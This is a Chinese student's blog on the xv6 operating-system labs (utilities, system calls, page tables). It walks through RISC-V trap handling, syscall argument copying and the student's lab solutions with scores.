#define rd 0
#define wt 1
int fun(int p_rd,int c_wt){
int first_num=0;
int temp=0;
read(p_rd,&first_num,4);
fprintf(1,"prime %d\n",first_num);
int num;
while(read(p_rd,&num,4)){
if(num%first_num!=0){
temp++;
write(c_wt,&num,4);
}
}
return temp;
}
int main(){
int p[2];
int c[2];
int status;
pipe(p);

for(int i=2;i<=35;i++){
write(p[wt],&i,4);
}
while (1)
{
int pid=fork();
if(pid==0){
pipe(c);
close(p[wt]);
int ret=fun(p[rd],c[wt]);
close(p[rd]);
if(ret==0){
break;
}
p[rd]=c[rd];
p[wt]=c[wt];
}else{
if(p[wt]){
close(p[wt]);
}
if(p[rd]){
close(p[rd]);
}
wait(&status);
if(status==1){
fprintf(2,"wait fail\n");
exit(1);
}
exit(0);
}
}
exit(0);
}

find

这个调了我半个早上🤦‍♀️,首先是程序退出时报错,我试了半天才发现xv6系统的main函数只能以exit()退出,其次是测试程序老是过不去,多方调试后发现自己的一块逻辑写的有明显问题,呜呜呜这明明只是中等难度,代码能力还是太菜了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"
#include "kernel/fs.h"
void find(char *file_path,char *res){
struct stat st;
struct dirent de;
char buf[100];
memset(buf,0,sizeof(buf));
char *p;
memmove(buf,file_path,strlen(file_path));
int fd=open(file_path,0);
if(fd<0){
fprintf(2,"open fail\n");
exit(1);
}
while (read(fd,&de,sizeof(de))==sizeof(de)){
if(de.inum==0){
break;
}
if(!strcmp(de.name,".")||!strcmp(de.name,"..")){
continue;
}
p=buf+strlen(buf);
memmove(p, de.name, DIRSIZ);
if(stat(buf,&st)<0){
fprintf(2,"stat() fail filename :%s\n",buf);
exit(1);
}
if(st.type==T_FILE){
if(!strcmp(de.name,res)){
fprintf(1,"%s\n",buf);
}
}else if (st.type==T_DIR)
{
p=buf+strlen(buf);
*p='/';
find(buf,res);
}
memset(buf,0,sizeof(buf));
memmove(buf,file_path,100);
}
close(fd);
return;
}
void main(int argc,char *argv[]){
char buf[100];
char *p;
memset(buf,0,sizeof(buf));
if(argc!=3){
fprintf(2,"parameter fail\n");
exit(1);
}
memmove(buf,argv[1],DIRSIZ);
p=buf+strlen(buf)-1;
if(*p!='/'){
p++;
*p='/';
}
find(buf,argv[2]);
exit(0);
}

xargs

主要麻烦的点在对字符串的处理上,我看别人的博客利用了有限自动机,嘿嘿,不会这个高端的东西,我的解决办法是对得到的字符串进行标准化,然后就利于后面的字符串处理了(无脑做法属于)。还有我的代码能力真得弱,这点代码花了我两个小时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"
#include "kernel/fs.h"
int get_line_length(char *buf){
int line_length=0;
while(buf[line_length]!='\n'){
line_length++;
}
return line_length;
}

int main(int argc,char *argv[]){
char buf[100]={0};
int cur=0;
int line_num=0;
int status;
if(argc<2){
fprintf(2,"argv fail\n");
exit(1);
}
int size=read(0,buf,100);
char parm_buf[size+20];
memset(parm_buf,0,sizeof(parm_buf));
cur++;
for(int i=0;i<size; i++,cur++){
if(buf[i]==' '){
continue;
}
if(buf[i]=='\n'){
cur++;
parm_buf[cur]='\n';
line_num++;
cur++;
continue;
}
parm_buf[cur]=buf[i];
}
if(buf[size-1]!='\n'){
line_num++;
}
cur=0;
for(int i=0;i<line_num;i++){
int add_parm_num=0;
int temp_cur=cur;
for(;parm_buf[temp_cur]!='\n';temp_cur++){
if(parm_buf[temp_cur]==0&&parm_buf[temp_cur+1]!=0&&parm_buf[temp_cur+1]!='\n'){
add_parm_num++;
}
}
char *parm[add_parm_num+argc];
memset(parm,0,sizeof(parm));
int parm_cur=0;
for(int j=1;j<argc;j++,parm_cur++){
parm[parm_cur]=argv[j];
}
for(;parm_buf[cur]!='\n';cur++){
if(parm_buf[cur]==0&&parm_buf[cur+1]!=0&&parm_buf[cur+1]!='\n'){
parm[parm_cur]=&parm_buf[cur+1];
parm_cur++;
}
}
cur++;
int pid=fork();
if(pid==0){
exec(parm[0],parm);
fprintf(2,"exec fail\n");
exit(1);
}else{
wait(&status);
if(status==1){
fprintf(2," wait fail\n");
exit(1);
}
}
}
exit(0);
}

最后lab得分

1
Score: 100/100

结语

在xv6操作系统上编程很奇妙也很有意思。

Lab2: system calls

这个实验主要是为了理解系统调用的工作流程,并为xv6增加一些新的系统调用。

book-read

trap

有三种时间导致cpu搁置普通指令的执行,强制将控制权转移给处理该事件的特殊代码上,一种情况是系统调用使用ecall的时候,一种是异常,比如user/kernel指令做了一些非法的事情如除零,第三种是设备中断,这三种情况被统称为trap,xv6内核处理所有的trap.

risc-v陷入机制

risc-v架构的cpu都有一组控制寄存器,kernel通过向这些寄存器写入内容来使cpu处理trap

下面是重要的寄存器

stvec:内核在这里写入trap处理程序的地址,risc-v跳转到这里处理trap

sepc:当发生trap时,risc-v会保存原来pc的信息到sepc,sret(从陷阱返回)指令就会将sepc复制到pc,内核可以写入sepc来控制sret的去向。

scause:risc-v在这里防止描述trap原因的数字

sscratch:内核在这里放置一个值,这个值在trap处理程序一开始就会派上用场。

sstatus:其中的SIE位控制设备中断是否启动,SPP位指示trap是来自user-mode还是kernel-mode,并控制sret返回的模式

risc-v硬件对所有trap(除了计时器中断)执行以下操作

  1. 如果陷阱是设备中断,并且状态SIE位被清空,则不执行以下任何操作。
  2. 清除SIE以禁用中断。
  3. pc复制到sepc
  4. 将当前模式(用户或管理)保存在状态的SPP位中。
  5. 设置scause以反映产生陷阱的原因。
  6. 将模式设置为管理模式。
  7. stvec复制到pc
  8. 在新的pc上开始执行。

可见cpu硬件只会执行这些操作,当控制权给到内核的时候,得要内核自己完成对内核页表的切换,对内核栈的切换,然后进入对trap真正处理的函数上,对除了pc以外所有寄存器的保存。

从用户空间陷入

img

总体分为四步调用,uservec,usertrap,usertrapretuserret

uservec

uservec代码处于kernel/trampoline.S中,一猜就是用汇编写的,因为控制单位到了寄存器量级,但是是risc-v捏,看不太懂。如上面所说,kernel-mode得完成那些操作才可以进入对trap真正处理的函数上(usertrap),而这些操作都被放置在uservec中,即刚开始的stvec指向了uservec,但是刚进入kernel-mode的时候satp并没有指向kernel-page,而是在user-page中,要想执行uservec则必须在用户页表中也映射上,在uservec中会切换satp以指向内核页表,所以为了在切换后继续执行指令,uservec必须在内核页表和用户页表中映射相同的地址。

为此xv6专门设置了一个页面放置uservec代码,然后把这个页面映射到内核页表和所有的用户页表中,且虚拟地址全部相同,这个虚拟地址就是上图的trampoline,在user-mode时stvec就指向了trampolineuserevc

到这里我觉得十分合理,可能x86也是这样干的,当userevc启动的时候,所有的32个寄存器都保存着原来中断代码的值,不能够随意更改,但userevc需要能够使用一些寄存器才能完成他的功能,risc-v的sscratch就发挥了作用,userevc开始的时候通过指令csrrw交换了a0sscratch的内容,此时a0寄存器的值就被保存了,uservec就可以使用a0寄存器了。

具体该怎么保存所有的寄存器的值,就牵扯到了另一个机制陷阱帧,如上图所示,陷阱帧就是trapframe,该帧有保存用户所有的寄存器的空间。此时satp还是指向了用户页表,所以要使用这个陷阱帧还得把他映射到用户页表中,sscratch就指向了这个陷阱帧,执行完csrrwa0寄存器就指向了陷阱帧,然后uservec就利用a0把所有用户寄存器保存在陷阱帧,陷阱帧中还包含了指向当前进程内核栈的指针,当前cpu的hartid,usertrap的地址以及内核页表的地址,uservec就取得这些值,将satp切换到内核页表,并调用usertrap

usertrap

下面是xv6 usertrap代码

代码比较清晰,首先会检查上一个模式是什么,然后设置stvec,因为此时cpu已经处于内核态了,当发生trap时得执行内核的kernelvec而不是suervec,所以会把stvec指向kernelvec,然后保存了sepc到p->trapframe->sepc中防止被覆盖,然后判断trap的类型,如果是系统调用syscall()会处理,如果是设备中断,devintr会处理他,否则就是一个异常,就设置p->killed=1,代表会被杀死,最后内核检查进程是否应该被杀死或者因为时钟中断让出cpu,最后调用usertrapret,流程比起uservec好理解多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void
usertrap(void)
{
int which_dev = 0;

if((r_sstatus() & SSTATUS_SPP) != 0)
panic("usertrap: not from user mode");

// send interrupts and exceptions to kerneltrap(),
// since we're now in the kernel.
w_stvec((uint64)kernelvec);

struct proc *p = myproc();

// save user program counter.
p->trapframe->epc = r_sepc();

if(r_scause() == 8){
// system call

if(p->killed)
exit(-1);

// sepc points to the ecall instruction,
// but we want to return to the next instruction.
p->trapframe->epc += 4;

// an interrupt will change sstatus &c registers,
// so don't enable until done with those registers.
intr_on();

syscall();
} else if((which_dev = devintr()) != 0){
// ok
} else {
printf("usertrap(): unexpected scause %p pid=%d\n", r_scause(), p->pid);
printf(" sepc=%p stval=%p\n", r_sepc(), r_stval());
p->killed = 1;
}

if(p->killed)
exit(-1);

// give up the CPU if this is a timer interrupt.
if(which_dev == 2)
yield();

usertrapret();
}

usertrapret

首先是获得进程的proc结构体,然后是intr_off设置了sstatus的sie位,然后是设置了stvec,因为要返回用户态了,所以trap处理程序变成了uservec,然后是在陷阱帧中记录内核页表地址,sp地址,usertrap地址,以及hartid。然后是设置sstatus的ssp位,把上一个模式设置为user-mode,然后是设置sepc得到用户态页表地址,然后又跳回trampoline中执行userret,至于为什么要把userret函数放置在trampoline中,是因为userret中会切换页表。要想切换完页表还能继续执行userret只能把他放在trampoline中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void
usertrapret(void)
{
struct proc *p = myproc();

// we're about to switch the destination of traps from
// kerneltrap() to usertrap(), so turn off interrupts until
// we're back in user space, where usertrap() is correct.
intr_off();

// send syscalls, interrupts, and exceptions to trampoline.S
w_stvec(TRAMPOLINE + (uservec - trampoline));

// set up trapframe values that uservec will need when
// the process next re-enters the kernel.
p->trapframe->kernel_satp = r_satp(); // kernel page table
p->trapframe->kernel_sp = p->kstack + PGSIZE; // process's kernel stack
p->trapframe->kernel_trap = (uint64)usertrap;
p->trapframe->kernel_hartid = r_tp(); // hartid for cpuid()

// set up the registers that trampoline.S's sret will use
// to get to user space.

// set S Previous Privilege mode to User.
unsigned long x = r_sstatus();
x &= ~SSTATUS_SPP; // clear SPP to 0 for user mode
x |= SSTATUS_SPIE; // enable interrupts in user mode
w_sstatus(x);

// set S Exception Program Counter to the saved user pc.
w_sepc(p->trapframe->epc);

// tell trampoline.S the user page table to switch to.
uint64 satp = MAKE_SATP(p->pagetable);

// jump to trampoline.S at the top of memory, which
// switches to the user page table, restores user registers,
// and switches to user mode with sret.
uint64 fn = TRAMPOLINE + (userret - trampoline);
((void (*)(uint64,uint64))fn)(TRAPFRAME, satp);
}

userret

a1保存的是用户态页表地址,a0保存的是trampoline地址,首先切换页表,然后从陷阱帧中恢复用户寄存器,最后调用sret完成对用户态的切换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
.globl userret
userret:
# userret(TRAPFRAME, pagetable)
# switch from kernel to user.
# usertrapret() calls here.
# a0: TRAPFRAME, in user page table.
# a1: user page table, for satp.

# switch to the user page table.
csrw satp, a1
sfence.vma zero, zero

# put the saved user a0 in sscratch, so we
# can swap it with our a0 (TRAPFRAME) in the last step.
ld t0, 112(a0)
csrw sscratch, t0

# restore all but a0 from TRAPFRAME
ld ra, 40(a0)
ld sp, 48(a0)
ld gp, 56(a0)
ld tp, 64(a0)
ld t0, 72(a0)
ld t1, 80(a0)
ld t2, 88(a0)
ld s0, 96(a0)
ld s1, 104(a0)
ld a1, 120(a0)
ld a2, 128(a0)
ld a3, 136(a0)
ld a4, 144(a0)
ld a5, 152(a0)
ld a6, 160(a0)
ld a7, 168(a0)
ld s2, 176(a0)
ld s3, 184(a0)
ld s4, 192(a0)
ld s5, 200(a0)
ld s6, 208(a0)
ld s7, 216(a0)
ld s8, 224(a0)
ld s9, 232(a0)
ld s10, 240(a0)
ld s11, 248(a0)
ld t3, 256(a0)
ld t4, 264(a0)
ld t5, 272(a0)
ld t6, 280(a0)

# restore user a0, and save TRAPFRAME in sscratch
csrrw a0, sscratch, a0

# return to user mode and user pc.
# usertrapret() set up sstatus and sepc.
sret

借助从用户态的陷入终于理清了xv6的用户态和内核态的转换了,受益匪浅。

调用系统调用

syscall代码如下,代码简略清晰,就以exec调用位例子,两个参数分别存放在a0,和a1中,然后把系统调用号放在a7中,系统调用号就是syscall[]的下标,寻找到的值就是该系统调用的处理函数,exec系统调用最后就会调用sys_exec。此时会有个疑问,系统调用都是有参数的,为什么最后的p->trapframe->a0 = syscalls[num]();没有呢,我大概看了sys_exec的代码,发现他是直接从陷阱帧中取寄存器值的,而不是传参。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static uint64 (*syscalls[])(void) = {
[SYS_fork] sys_fork,
[SYS_exit] sys_exit,
[SYS_wait] sys_wait,
[SYS_pipe] sys_pipe,
[SYS_read] sys_read,
[SYS_kill] sys_kill,
[SYS_exec] sys_exec,
[SYS_fstat] sys_fstat,
[SYS_chdir] sys_chdir,
[SYS_dup] sys_dup,
[SYS_getpid] sys_getpid,
[SYS_sbrk] sys_sbrk,
[SYS_sleep] sys_sleep,
[SYS_uptime] sys_uptime,
[SYS_open] sys_open,
[SYS_write] sys_write,
[SYS_mknod] sys_mknod,
[SYS_unlink] sys_unlink,
[SYS_link] sys_link,
[SYS_mkdir] sys_mkdir,
[SYS_close] sys_close,
};

void
syscall(void)
{
int num;
struct proc *p = myproc();

num = p->trapframe->a7;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
p->trapframe->a0 = syscalls[num]();
} else {
printf("%d %s: unknown sys call %d\n",
p->pid, p->name, num);
p->trapframe->a0 = -1;
}
}
系统调用参数

好家伙,我刚有这个疑问,书的下一节就解释这个问题,牛啊。

系统提供三个函数artint,artaddr,artfd从陷阱帧中检索第n个系统调用参数并且以整数,指针,或者文件描述符的形式保存,他们都调用argraw来检索相应的保存的用户寄存器。比如argstr函数

1
2
3
4
5
6
7
8
9
10
11
12
argstr(int n, char *buf, int max)
{
uint64 addr;
if(argaddr(n, &addr) < 0)
return -1;
return fetchstr(addr, buf, max);
}
argaddr(int n, uint64 *ip)
{
*ip = argraw(n);
return 0;
}

内核要想获得一个整数还行,但是要想获得用户态的某一个字符串或者某一段内存的值就不好办了,因为此时处于内核态,页表是内核页表,并不能访问用户态的内存,可以看看xv6是如何完成的。

copyinstr函数就是完成在内核态从用户态到内核态拷贝数据的函数,传入的参数有进程的陷阱帧,内核接收地址dst和用户态地址srcva以及拷贝量max。我简述一下原理,就是利用传进来的用户态虚拟地址srcva和进程的陷阱帧完成对这个虚拟地址所映射的物理地址pa0的查询,查询过程就是利用陷阱帧记录的用户态页表,然后通过这个虚拟地址找到对应物理地址返回,在内核态中,由于内核将所有物理RAM地址映射到同一个内核虚拟地址,copyinstr可以直接将字符串字节从pa0复制到dst(这段其实不是很理解,我不确定这个pa0到底是不是物理地址,如果是的话copyinstr直接使用物理地址进行copy*dst = *p,那唯一的解释就是映射是直接映射,即虚拟地址和物理地址是一一对应的才可以)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
copyinstr(pagetable_t pagetable, char *dst, uint64 srcva, uint64 max)
{
uint64 n, va0, pa0;
int got_null = 0;

while(got_null == 0 && max > 0){
va0 = PGROUNDDOWN(srcva);
pa0 = walkaddr(pagetable, va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (srcva - va0);
if(n > max)
n = max;

char *p = (char *) (pa0 + (srcva - va0));
while(n > 0){
if(*p == '\0'){
*dst = '\0';
got_null = 1;
break;
} else {
*dst = *p;
}
--n;
--max;
p++;
dst++;
}

srcva = va0 + PGSIZE;
}
if(got_null){
return 0;
} else {
return -1;
}
}

通过在qemu下打印页表发现似乎就是这样的,映射了个寂寞🤦‍♀️,在linux系统中内核好歹是线性映射所有物理区域,xv6直接一对一了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
vaddr            paddr            size             attr
---------------- ---------------- ---------------- -------
0000000002000000 0000000002000000 0000000000010000 rw-----
000000000c000000 000000000c000000 0000000000001000 rw---ad
000000000c001000 000000000c001000 0000000000001000 rw-----
000000000c002000 000000000c002000 0000000000001000 rw---ad
000000000c003000 000000000c003000 00000000001fe000 rw-----
000000000c201000 000000000c201000 0000000000001000 rw---ad
000000000c202000 000000000c202000 0000000000001000 rw-----
000000000c203000 000000000c203000 0000000000001000 rw---ad
000000000c204000 000000000c204000 0000000000001000 rw-----
000000000c205000 000000000c205000 0000000000001000 rw---ad
000000000c206000 000000000c206000 00000000001fa000 rw-----
0000000010000000 0000000010000000 0000000000002000 rw---ad
0000000080000000 0000000080000000 0000000000007000 r-x--a-
0000000080007000 0000000080007000 0000000000001000 r-x----
0000000080008000 0000000080008000 0000000000005000 rw---ad
000000008000d000 000000008000d000 0000000000004000 rw-----
0000000080011000 0000000080011000 0000000000011000 rw---ad
0000000080022000 0000000080022000 0000000000001000 rw-----
0000000080023000 0000000080023000 0000000000003000 rw---ad
0000000080026000 0000000080026000 0000000007f35000 rw-----
0000000087f5b000 0000000087f5b000 000000000005d000 rw---ad
0000000087fb8000 0000000087fb8000 0000000000001000 rw---a-
0000000087fb9000 0000000087fb9000 0000000000046000 rw-----
0000000087fff000 0000000087fff000 0000000000001000 rw---a-
0000003ffff7f000 0000000087f77000 000000000003e000 rw-----
0000003fffffb000 0000000087fb5000 0000000000002000 rw---ad
0000003ffffff000 0000000080007000 0000000000001000 r-x--a-
从内核态陷入

书中涉及到了计数器中断的处理办法,由于我不是很熟悉计数器中断,所以暂且不讨论这种情况,在第七章中会系统的学到。我只讨论一般情况下的内核陷入。

内核发生陷入的话只有两种情况,一是设备中断,二是内核异常,此时是处于内核态的,stvec就指向了kernelvec,然后处理trap也是在内核态,所以不需要切换页表了。处理流程主要是两个函数:kernelvec->kerneltrap->kernelvec

kernelvec

意料之中又是risc-v汇编捏,但是大概是能看懂的,kernelvec首先得把所有的寄存器存放到当前内核栈的栈上,所以首先addi sp.sp,-256就是sp=sp+(-256),先提升栈的容量。然后把寄存器放在这256容量的栈里,sd ra,0(sp)等于*[sp+0]=ra这样的形式存储,至于为什么要存储所有的寄存器,是因为在调用kerneltrap的时候,会因为时钟中断而让出cpu导致丢失寄存器信息,所以得记录一下,记录完就是调用kerneltrap了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
        # interrupts and exceptions while in supervisor
# mode come here.
#
# push all registers, call kerneltrap(), restore, return.
#
.globl kerneltrap
.globl kernelvec
.align 4
kernelvec:
// make room to save registers.
addi sp, sp, -256

// save the registers.
sd ra, 0(sp)
sd sp, 8(sp)
sd gp, 16(sp)
sd tp, 24(sp)
sd t0, 32(sp)
sd t1, 40(sp)
sd t2, 48(sp)
sd s0, 56(sp)
sd s1, 64(sp)
sd a0, 72(sp)
sd a1, 80(sp)
sd a2, 88(sp)
sd a3, 96(sp)
sd a4, 104(sp)
sd a5, 112(sp)
sd a6, 120(sp)
sd a7, 128(sp)
sd s2, 136(sp)
sd s3, 144(sp)
sd s4, 152(sp)
sd s5, 160(sp)
sd s6, 168(sp)
sd s7, 176(sp)
sd s8, 184(sp)
sd s9, 192(sp)
sd s10, 200(sp)
sd s11, 208(sp)
sd t3, 216(sp)
sd t4, 224(sp)
sd t5, 232(sp)
sd t6, 240(sp)

// call the C trap handler in trap.c
call kerneltrap

// restore registers.
ld ra, 0(sp)
ld sp, 8(sp)
ld gp, 16(sp)
// not this, in case we moved CPUs: ld tp, 24(sp)
ld t0, 32(sp)
ld t1, 40(sp)
ld t2, 48(sp)
ld s0, 56(sp)
ld s1, 64(sp)
ld a0, 72(sp)
ld a1, 80(sp)
ld a2, 88(sp)
ld a3, 96(sp)
ld a4, 104(sp)
ld a5, 112(sp)
ld a6, 120(sp)
ld a7, 128(sp)
ld s2, 136(sp)
ld s3, 144(sp)
ld s4, 152(sp)
ld s5, 160(sp)
ld s6, 168(sp)
ld s7, 176(sp)
ld s8, 184(sp)
ld s9, 192(sp)
ld s10, 200(sp)
ld s11, 208(sp)
ld t3, 216(sp)
ld t4, 224(sp)
ld t5, 232(sp)
ld t6, 240(sp)

addi sp, sp, 256

// return to whatever we were doing in the kernel.
sret

kerneltrap

首先是储存sepcsstatus两个寄存器,因为如果有时钟中断而调用yield()函数的时候会破坏他们,要使破坏了他们trap返回的时候就会出问题,保存完后真正处理trap,处理完之后恢复sepcsstatus,然后返回到函数kernelvec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void 
kerneltrap()
{
int which_dev = 0;
uint64 sepc = r_sepc();
uint64 sstatus = r_sstatus();
uint64 scause = r_scause();

if((sstatus & SSTATUS_SPP) == 0)
panic("kerneltrap: not from supervisor mode");
if(intr_get() != 0)
panic("kerneltrap: interrupts enabled");

if((which_dev = devintr()) == 0){
printf("scause %p\n", scause);
printf("sepc=%p stval=%p\n", r_sepc(), r_stval());
panic("kerneltrap");
}

// give up the CPU if this is a timer interrupt.
if(which_dev == 2 && myproc() != 0 && myproc()->state == RUNNING)
yield();

// the yield() may have caused some traps to occur,
// so restore trap registers for use by kernelvec.S's sepc instruction.
w_sepc(sepc);
w_sstatus(sstatus);
}

返回到kernelvec中就会简单了,就利用栈信息恢复通用寄存器,然后addi sp, sp, 256sret结束内核陷入。

总而言之比用户态陷入要简单很多了。

页面错误异常

这个暂时不看,涉及到了第三章的知识,暂时还没有学习到。

System call tracing

就是增加一个系统调用追踪的功能,可以先利用这个系统调用设置自己想要追踪的系统调用,然后这个程序以及子程序在调用这个系统调用的时候都会打印相应数据。

编程不是难点,难点可能是理清楚系统调用的原理以及对应的几个c文件就好了,只要阅读过书籍的第四章问题就不大的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void trace_printf_sysname(){
struct proc *p=myproc();
int mask=p->trace_num;
int sys_num=p->trapframe->a7;
if(mask&(1<<sys_num)){
printf("%d: syscall %s -> %d\n",p->pid,syscall_name[sys_num],p->trapframe->a0);
}
}

uint64
sys_trace(void){
int mask;
struct proc *p = myproc();
if(argint(0,&mask)<0){
return -1;
}
p->trace_num=mask;
return 0;
}

Sysinfo

这个系统调用个就比较麻烦了,首先得把结构体从struct sysinfo从内核态拷贝回用户空间,然后得在内核获得空闲内存量,然后还得获得stat不为UNUSED的进程数。都没怎么听过,得阅读源码慢慢搞清楚。

从内核态拷贝数据使用的是copyout函数,之前分析过copyin函数,原理都是差不多的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int
copyout(pagetable_t pagetable, uint64 dstva, char *src, uint64 len)
{
uint64 n, va0, pa0;

while(len > 0){
va0 = PGROUNDDOWN(dstva);
pa0 = walkaddr(pagetable, va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (dstva - va0);
if(n > len)
n = len;
memmove((void *)(pa0 + (dstva - va0)), src, n);

len -= n;
src += n;
dstva = va0 + PGSIZE;
}
return 0;
}

获得内存空闲字节课以通过阅读kmalloc.c源码很好的解决,在xv6系统中定义了两个结构体来管理空闲页面其中通过struct run组成一个单向链表来链接所有的空闲链表,然后通过struct kmem.freelist指向这个链表的头结点,所以只需要遍历这个链表就可以所有空闲页面了。

1
2
3
4
5
6
7
8
struct run {
struct run *next;
};

struct {
struct spinlock lock;
struct run *freelist;
} kmem;

struct proc中有一个字段struct proc *parent可以通过遍历这个字段完成对进程数的统计,这种统计方式肯定有问题,因为一个进程可以有多个子进程,这个办法每一层进程只能遍历一个,与其说统计有多少个进程,不如说统计有多少层进程,当然这也是struct proc的设计问题,只能这样干。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
uint64
sys_sysinfo(void){
struct proc *p=myproc();
struct sysinfo info;
uint64 user_info;
if(argaddr(0,&user_info)<0){
printf("sysinfo addr get fail\n");
}
info.freemem=countfree();
info.nproc=get_proc_num();
if(copyout(p->pagetable,user_info,(char *)&info,sizeof(info))<0){
return -1;
}
return 0;
}

int
countfree(void){
int n=0;
struct run *r;
r=kmem.freelist;
while(r){
// printf("page_addr:%p\n",r);
n=n+4096;
r=r->next;
}
return n;
}

int get_proc_num(){
struct proc *p=myproc();
int num=0;
while(p->parent){
if(p->state!=UNUSED){
num++;
}
p=p->parent;
}
return num;
}

得分

1
Score: 35/35

结语

对系统调用理解的更深了吧,之前只知道大概思想,现在也知道了如何实现的,也对xv6的用户态和内核态的切换更加熟悉,也更加了解了xv6的源代码。

Lab3: page tables

code-read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//walk函数在虚拟地址机制中是比较重要的函数,他有两种作用,当alloc为0的时候walk函数就是单纯的通过页表和虚拟地址找到虚拟地址对应的第三级页表对应的pte地址,当alloc为0的时候就可以通过kalloc完成对页表项和页表的增加。但不管alloc是什么值,返回的都是对应的pte地址,而不是对应的物理地址
//当然这一切都是依赖于虚拟地址到物理地址的直接映射,不然walk查到的页表地址直接是物理地址,在操作系统层面无法再往下查找了
walk(pagetable_t pagetable, uint64 va, int alloc)
{
if(va >= MAXVA)
panic("walk");

for(int level = 2; level > 0; level--) {
pte_t *pte = &pagetable[PX(level, va)];
if(*pte & PTE_V) {
pagetable = (pagetable_t)PTE2PA(*pte);
} else {
if(!alloc || (pagetable = (pde_t*)kalloc()) == 0)
return 0;
memset(pagetable, 0, PGSIZE);
*pte = PA2PTE(pagetable) | PTE_V;
}
}
return &pagetable[PX(0, va)];
}

//这个函数是比较关键的设置页表,增加页表项的函数,首先通过调用walk函数得到pte的地址,然后把对应的pa填入页表项,一直重复操作直到需要映射的地址被映射完
int
mappages(pagetable_t pagetable, uint64 va, uint64 size, uint64 pa, int perm)
{
uint64 a, last;
pte_t *pte;

a = PGROUNDDOWN(va);
last = PGROUNDDOWN(va + size - 1);
for(;;){
if((pte = walk(pagetable, a, 1)) == 0)
return -1;
if(*pte & PTE_V)
panic("remap");
*pte = PA2PTE(pa) | perm | PTE_V;
if(a == last)
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}

//对上一个函数的封装
void
kvmmap(uint64 va, uint64 pa, uint64 sz, int perm)
{
if(mappages(kernel_pagetable, va, sz, pa, perm) != 0)
panic("kvmmap");
}
//比较重要的一个函数,主要是完成对内核页表的映射,前面的一些映射卡不懂捏,但是后面三个就是test,data以及陷阱帧的映射。
void
kvminit()
{
kernel_pagetable = (pagetable_t) kalloc();
memset(kernel_pagetable, 0, PGSIZE);

// uart registers
kvmmap(UART0, UART0, PGSIZE, PTE_R | PTE_W);

// virtio mmio disk interface
kvmmap(VIRTIO0, VIRTIO0, PGSIZE, PTE_R | PTE_W);

// CLINT
kvmmap(CLINT, CLINT, 0x10000, PTE_R | PTE_W);

// PLIC
kvmmap(PLIC, PLIC, 0x400000, PTE_R | PTE_W);

// map kernel text executable and read-only.
kvmmap(KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_X);

// map kernel data and the physical RAM we'll make use of.
kvmmap((uint64)etext, (uint64)etext, PHYSTOP-(uint64)etext, PTE_R | PTE_W);

// map the trampoline for trap entry/exit to
// the highest virtual address in the kernel.
kvmmap(TRAMPOLINE, (uint64)trampoline, PGSIZE, PTE_R | PTE_X);
}

读完代码后感觉内核并不是直接运行在物理内存上的,他也遵循虚拟内存,所以要控制整个物理内存的话就需要一段虚拟地址对整个物理内存进行映射,通过这段虚拟地址控制整个物理内存。

book-read

创建一个地址空间

在内核启动的时候,首先会调用main函数,main会调用上述介绍的kvminit来初始化内核页表,kvminit已经分析过了,接着看kvminithart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void
main()
{
if(cpuid() == 0){
consoleinit();
#if defined(LAB_PGTBL) || defined(LAB_LOCK)
statsinit();
#endif
printfinit();
printf("\n");
printf("xv6 kernel is booting\n");
printf("\n");
kinit(); // physical page allocator
kvminit(); // create kernel page table
kvminithart(); // turn on paging
procinit(); // process table
trapinit(); // trap vectors
trapinithart(); // install kernel trap vector
plicinit(); // set up interrupt controller
